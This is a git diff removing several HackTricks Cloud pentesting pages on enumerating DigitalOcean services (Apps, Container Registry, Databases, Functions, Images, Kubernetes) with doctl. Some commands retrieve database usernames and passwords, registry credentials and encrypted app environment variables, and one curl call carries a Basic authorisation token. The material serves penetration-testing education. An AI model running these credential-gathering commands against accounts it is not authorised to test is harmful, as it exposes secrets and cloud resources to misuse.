-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Basic Information
-
-**Before start pentesting** a Digital Ocean environment there are a few **basics things you need to know** about how DO works to help you understand what you need to do, how to find misconfigurations and how to exploit them.
-
-Concepts such as hierarchy, access and other basic concepts are explained in:
-
-{% content-ref url="do-basic-information.md" %}
-[do-basic-information.md](do-basic-information.md)
-{% endcontent-ref %}
-
-## Basic Enumeration
-
-### SSRF
-
-{% embed url="https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf" %}
-
-### Projects
-
-To get a list of the projects and resources running on each of them from the CLI check:
-
-{% content-ref url="do-services/do-projects.md" %}
-[do-projects.md](do-services/do-projects.md)
-{% endcontent-ref %}
-
-### Whoami
-
-```bash
-doctl account get
-```
-
-## Services Enumeration
-
-{% content-ref url="do-services/" %}
-[do-services](do-services/)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/digital-ocean-pentesting/do-permissions-for-a-pentest.md b/pentesting-cloud/digital-ocean-pentesting/do-permissions-for-a-pentest.md
deleted file mode 100644
index 3333a417c..000000000
--- a/pentesting-cloud/digital-ocean-pentesting/do-permissions-for-a-pentest.md
+++ /dev/null
@@ -1,33 +0,0 @@
-# DO - Permissions for a Pentest
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-DO doesn't support granular permissions. So the **minimum role** that allows a user to review all the resources is **member**. A pentester with this permission will be able to perform harmful activities, but it's what it's.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/digital-ocean-pentesting/do-services/README.md b/pentesting-cloud/digital-ocean-pentesting/do-services/README.md
deleted file mode 100644
index 5df4185ea..000000000
--- a/pentesting-cloud/digital-ocean-pentesting/do-services/README.md
+++ /dev/null
@@ -1,45 +0,0 @@
-# DO - Services
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-DO offers a few services, here you can find how to **enumerate them:**
-
-* [**Apps**](do-apps.md)
-* [**Container Registry**](do-container-registry.md)
-* [**Databases**](do-databases.md)
-* [**Droplets**](do-droplets.md)
-* [**Functions**](do-functions.md)
-* [**Images**](do-images.md)
-* [**Kubernetes (DOKS)**](do-kubernetes-doks.md)
-* [**Networking**](do-networking.md)
-* [**Projects**](do-projects.md)
-* [**Spaces**](do-spaces.md)
-* [**Volumes**](do-volumes.md)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/digital-ocean-pentesting/do-services/do-apps.md b/pentesting-cloud/digital-ocean-pentesting/do-services/do-apps.md
deleted file mode 100644
index f10dcde2f..000000000
--- a/pentesting-cloud/digital-ocean-pentesting/do-services/do-apps.md
+++ /dev/null
@@ -1,61 +0,0 @@
-# DO - Apps
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Basic Information
-
-[From the docs:](https://docs.digitalocean.com/glossary/app-platform/) App Platform is a Platform-as-a-Service (PaaS) offering that allows developers to **publish code directly to DigitalOcean** servers without worrying about the underlying infrastructure.
-
-You can run code directly from **github**, **gitlab**, **docker hub**, **DO container registry** (or a sample app).
-
-When defining an **env var** you can set it as **encrypted**. The only way to **retreive** its value is executing **commands** inside the host runnig the app.
-
-An **App URL** looks like this [https://dolphin-app-2tofz.ondigitalocean.app](https://dolphin-app-2tofz.ondigitalocean.app)
-
-### Enumeration
-
-```bash
-doctl apps list # You should get URLs here
-doctl apps spec get <app-id> # Get yaml (including env vars, might be encrypted)
-doctl apps logs <app-id> # Get HTTP logs
-doctl apps list-alerts <app-id> # Get alerts
-doctl apps list-regions # Get available regions and the default one
-```
-
-{% hint style="danger" %}
-**Apps doesn't have metadata endpoint**
-{% endhint %}
-
-### RCE & Encrypted env vars
-
-To execute code directly in the container executing the App you will need **access to the console** and go to **`https://cloud.digitalocean.com/apps/<app-id>/console/<app-name>`**.
-
-That will give you a **shell**, and just executing **`env`** you will be able to see **all the env vars** (including the ones defined as **encrypted**).
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/digital-ocean-pentesting/do-services/do-container-registry.md b/pentesting-cloud/digital-ocean-pentesting/do-services/do-container-registry.md
deleted file mode 100644
index 72897f1e7..000000000
--- a/pentesting-cloud/digital-ocean-pentesting/do-services/do-container-registry.md
+++ /dev/null
@@ -1,59 +0,0 @@
-# DO - Container Registry
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Basic Information
-
-DigitalOcean Container Registry is a service provided by DigitalOcean that **allows you to store and manage Docker images**. It is a **private** registry, which means that the images that you store in it are only accessible to you and users that you grant access to. This allows you to securely store and manage your Docker images, and use them to deploy containers on DigitalOcean or any other environment that supports Docker.
-
-When creating a Container Registry it's possible to **create a secret with pull images access (read) over it in all the namespaces** of Kubernetes clusters.
-
-### Connection
-
-```bash
-# Using doctl
-doctl registry login
-
-# Using docker (You need an API token, use it as username and as password)
-docker login registry.digitalocean.com
-Username: <paste-api-token>
-Password: <paste-api-token>
-```
-
-### Enumeration
-
-```bash
-# Get creds to access the registry from the API
-doctl registry docker-config
-
-# List
-doctl registry repository list-v2
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/digital-ocean-pentesting/do-services/do-databases.md b/pentesting-cloud/digital-ocean-pentesting/do-services/do-databases.md
deleted file mode 100644
index d31d67c7b..000000000
--- a/pentesting-cloud/digital-ocean-pentesting/do-services/do-databases.md
+++ /dev/null
@@ -1,71 +0,0 @@
-# DO - Databases
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Basic Information
-
-With DigitalOcean Databases, you can easily **create and manage databases in the cloud** without having to worry about the underlying infrastructure. The service offers a variety of database options, including **MySQL**, **PostgreSQL**, **MongoDB**, and **Redis**, and provides tools for administering and monitoring your databases. DigitalOcean Databases is designed to be highly scalable, reliable, and secure, making it an ideal choice for powering modern applications and websites.
-
-### Connections details
-
-When creating a database you can select to configure it **accessible from a public network**, or just from inside a **VPC**. Moreover, it request you to **whitelist IPs that can access it** (your IPv4 can be one).
-
-The **host**, **port**, **dbname**, **username**, and **password** are shown in the **console**. You can even download the AD certificate to connect securely.
-
-{% code overflow="wrap" %}
-```bash
-sql -h db-postgresql-ams3-90864-do-user-2700959-0.b.db.ondigitalocean.com -U doadmin -d defaultdb -p 25060
-```
-{% endcode %}
-
-### Enumeration
-
-```bash
-# Databse clusters
-doctl databases list
-
-# Auth
-doctl databases get <db-id> # This shows the URL with CREDENTIALS to access
-doctl databases connection <db-id> # Another way to egt credentials
-doctl databases user list <db-id> # Get all usernames and passwords
-
-# Dbs inside a database cluster
-doctl databases db list <cluster-id>
-
-# Firewall (allowed IPs), you can also add
-doctl databases firewalls list <cluster-id>
-
-# Backups
-doctl databases backups <db-id> # List backups of DB
-
-# Pools
-doctl databases pool list <db-id> # List pools of DB
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/digital-ocean-pentesting/do-services/do-functions.md b/pentesting-cloud/digital-ocean-pentesting/do-services/do-functions.md
deleted file mode 100644
index ad37aa951..000000000
--- a/pentesting-cloud/digital-ocean-pentesting/do-services/do-functions.md
+++ /dev/null
@@ -1,88 +0,0 @@
-# DO - Functions
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Basic Information
-
-DigitalOcean Functions, also known as "DO Functions," is a serverless computing platform that lets you **run code without having to worry about the underlying infrastructure**. With DO Functions, you can write and deploy your code as "functions" that can be **triggered** via **API**, **HTTP requests** (if enabled) or **cron**. These functions are executed in a fully managed environment, so you **don't need to worry** about scaling, security, or maintenance.
-
-In DO, to create a function first you need to **create a namespace** which will be **grouping functions**.\
-Inside the namespace you can then create a function.
-
-### Triggers
-
-The way **to trigger a function via REST API** (always enabled, it's the method the cli uses) is by triggering a request with an **authentication token** like:
-
-```bash
-curl -X POST "https://faas-lon1-129376a7.doserverless.co/api/v1/namespaces/fn-c100c012-65bf-4040-1230-2183764b7c23/actions/functionname?blocking=true&result=true" \
-  -H "Content-Type: application/json" \
-  -H "Authorization: Basic MGU0NTczZGQtNjNiYS00MjZlLWI2YjctODk0N2MyYTA2NGQ4OkhwVEllQ2t4djNZN2x6YjJiRmFGc1FERXBySVlWa1lEbUxtRE1aRTludXA1UUNlU2VpV0ZGNjNqWnVhYVdrTFg="
-```
-
-To see how is the **`doctl`** cli tool getting this token (so you can replicate it), the **following command shows the complete network trace:**
-
-```bash
-doctl serverless connect --trace
-```
-
-**When HTTP trigger is enabled**, a web function can be invoked through these **HTTP methods GET, POST, PUT, PATCH, DELETE, HEAD and OPTIONS**.
-
-{% hint style="danger" %}
-In DO functions, **environment variables cannot be encrypted** (at the time of this writing).\
-I couldn't find any way to read them from the CLI but from the console it's straight forward.
-{% endhint %}
-
-**Functions URLs** look like this: `https://<random>.doserverless.co/api/v1/web/<namespace-id>/default/<function-name>`
-
-### Enumeration
-
-```bash
-# Namespace
-doctl serverless namespaces list
-
-# Functions (need to connect to a namespace)
-doctl serverless connect
-doctl serverless functions list
-doctl serverless functions invoke <func-name>
-doctl serverless functions get <func-name>
-
-# Logs of executions
-doctl serverless activations list
-doctl serverless activations get <activation-id> # Get all the info about execution
-doctl serverless activations logs <activation-id> # get only the logs of execution
-doctl serverless activations result <activation-id> # get only the response result of execution
-
-# I couldn't find any way to get the env variables form the CLI
-```
-
-{% hint style="danger" %}
-There **isn't metadata endpoint** from the Functions sandbox.
-{% endhint %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/digital-ocean-pentesting/do-services/do-images.md b/pentesting-cloud/digital-ocean-pentesting/do-services/do-images.md
deleted file mode 100644
index eaba5349d..000000000
--- a/pentesting-cloud/digital-ocean-pentesting/do-services/do-images.md
+++ /dev/null
@@ -1,45 +0,0 @@
-# DO - Images
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Basic Information
-
-DigitalOcean Images are **pre-built operating system or application images** that can be used to create new Droplets (virtual machines) on DigitalOcean. They are similar to virtual machine templates, and they allow you to **quickly and easily create new Droplets with the operating system** and applications that you need.
-
-DigitalOcean provides a wide range of Images, including popular operating systems such as Ubuntu, CentOS, and FreeBSD, as well as pre-configured application Images such as LAMP, MEAN, and LEMP stacks. You can also create your own custom Images, or use Images from the community.
-
-When you create a new Droplet on DigitalOcean, you can choose an Image to use as the basis for the Droplet. This will automatically install the operating system and any pre-installed applications on the new Droplet, so you can start using it right away. Images can also be used to create snapshots and backups of your Droplets, so you can easily create new Droplets from the same configuration in the future.
-
-### Enumeration
-
-```
-doctl compute image list
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/digital-ocean-pentesting/do-services/do-kubernetes-doks.md b/pentesting-cloud/digital-ocean-pentesting/do-services/do-kubernetes-doks.md
deleted file mode 100644
index d91a05f1d..000000000
--- a/pentesting-cloud/digital-ocean-pentesting/do-services/do-kubernetes-doks.md
+++ /dev/null
@@ -1,65 +0,0 @@
-# DO - Kubernetes (DOKS)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Basic Information
-
-### DigitalOcean Kubernetes (DOKS)
-
-DOKS is a managed Kubernetes service offered by DigitalOcean. The service is designed to **deploy and manage Kubernetes clusters on DigitalOcean's platform**. The key aspects of DOKS include:
-
-1. **Ease of Management**: The requirement to set up and maintain the underlying infrastructure is eliminated, simplifying the management of Kubernetes clusters.
-2. **User-Friendly Interface**: It provides an intuitive interface that facilitates the creation and administration of clusters.
-3. **Integration with DigitalOcean Services**: It seamlessly integrates with other services provided by DigitalOcean, such as Load Balancers and Block Storage.
-4. **Automatic Updates and Upgrades**: The service includes the automatic updating and upgrading of clusters to ensure they are up-to-date.
-
-### Connection
-
-```bash
-# Generate kubeconfig from doctl
-doctl kubernetes cluster kubeconfig save <cluster-id>
-
-# Use a kubeconfig file that you can download from the console
-kubectl --kubeconfig=/<pathtodirectory>/k8s-1-25-4-do-0-ams3-1670939911166-kubeconfig.yaml get nodes
-```
-
-### Enumeration
-
-```bash
-# Get clusters
-doctl kubernetes cluster list
-
-# Get node pool of cluster (number of nodes)
-doctl kubernetes cluster node-pool list <cluster-id>
-
-# Get DO resources used by the cluster
-doctl kubernetes cluster list-associated-resources <cluster-id>
-```
-
-{% hint style="success" %}
